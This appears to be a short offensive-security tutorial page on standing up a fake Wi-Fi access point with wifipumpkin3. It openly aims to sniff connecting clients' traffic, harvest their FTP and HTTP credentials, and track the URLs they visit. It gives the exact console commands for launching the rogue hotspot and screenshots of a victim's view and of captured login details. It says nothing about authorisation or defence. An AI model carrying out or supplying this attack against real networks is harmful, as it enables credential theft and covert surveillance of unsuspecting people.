# Creating a fake access point

## Fake AP with noproxy module

What can we do with just a fake access point?

* We can sniff the traffic of the clients that connects, and harvests they're credentials _**(ftp, http, etc).**_
* See the URL's that our clients are going so we can spy them.

To create a fake access point with wifipumpkin3, type the following commands shown below.

<figure><img src="https://1589701199-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fi9hCCmXtAKNvbIKRqULt%2Fuploads%2FR7y7Nlw9hEGGhlQTGxzG%2Fwifipumpkin3_noproxy.png?alt=media&#x26;token=8457a01e-c789-43fe-8209-83f9d22b9a52" alt=""><figcaption></figcaption></figure>

### Commands to create a fake AP

```bash
set interface wlan0 # set the name of the interface you wnat to use
set ssid hotspot
set proxy noproxy true
ignore pydns_server
start
```

### Victim overview

<figure><img src="https://i0.wp.com/1.bp.blogspot.com/-S2HGG6osj2g/YQG137ChLZI/AAAAAAAAx90/f3RkQL6sulgY8LSP7MoSHY6qB0vDPcSugCLcBGAsYHQ/s16000/22.png?w=640&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

* Here is what the victim will see once its connected.

### Attacker overview

<figure><img src="https://i0.wp.com/1.bp.blogspot.com/-J66qb07eXcM/YQFrDJVCg7I/AAAAAAAAx54/k_fBLSzNETsONR8uqFklL0PAE7K2VWGiQCLcBGAsYHQ/s16000/24.png?w=640&#x26;ssl=1" alt=""><figcaption></figcaption></figure>

* Here we can see how we can get the username and password from a user that log's into a website.
